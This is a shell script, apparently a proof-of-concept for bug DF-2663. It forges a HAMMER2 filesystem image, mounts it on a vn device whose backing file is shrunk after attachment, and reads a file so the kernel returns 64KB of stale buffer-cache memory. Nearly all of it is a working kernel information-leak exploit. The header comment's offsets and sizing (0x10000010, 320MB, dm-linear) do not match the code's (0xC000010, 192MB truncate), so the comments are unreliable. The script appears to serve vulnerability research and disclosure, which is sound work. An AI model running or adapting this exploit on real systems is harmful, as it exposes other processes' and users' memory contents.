#!/bin/sh
# DF-2663 stage 2 (LEAK RUN, stock kernel):
#  - forge: leakfile DATA bref -> data_off 0x10000010 (vn0's exact EOF),
#    methods=0 (CHECK_NONE|COMP_NONE), volu_size/total_size -> 320MB
#  - mount on dm-linear sized 320MB over vn0 (256MB): DIOCGPART reports 320MB
#    so the ondisk.c:285 containment check passes even though only 256MB is
#    readable; the read at vn0's exact EOF takes dscheck()'s at-EOF path
#    (B_INVAL, no B_ERROR) -> bread() "succeeds" -> 64KB of stale buffer-cache
#    memory is returned as file content.
exec > /root/poc/run.log 2>&1
set -x
for m in /mnt/h2; do timeout 10 umount -f $m 2>/dev/null; done
dmsetup remove_all 2>/dev/null
vnconfig -u vn0 2>/dev/null

/root/poc/forge2663 /root/poc/base.img /root/poc/leak.img 0xC000010 0x00 0

vnconfig -c vn0 /root/poc/leak.img
/root/poc/diocgtest /dev/vn0
# shrink backing AFTER vnconfig: registered media stays 256MB+32K, readable EOF 192MB
truncate -s 201326592 /root/poc/leak.img
/root/poc/diocgtest /dev/vn0
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
echo "MOUNT_RC=$?"
ls -l /mnt/h2

timeout 20 cat /mnt/h2/leakfile > /root/poc/leak1.bin
echo "READ_RC=$?"
ls -l /root/poc/leak1.bin
md5 /root/poc/leak1.bin /root/poc/rand64 /root/poc/base.img

# is leaked content present anywhere in the forged image?
dd if=/root/poc/leak1.bin bs=65536 count=1 2>/dev/null | md5
echo "--- guest still alive:"
uptime
echo LEAKRUN_DONE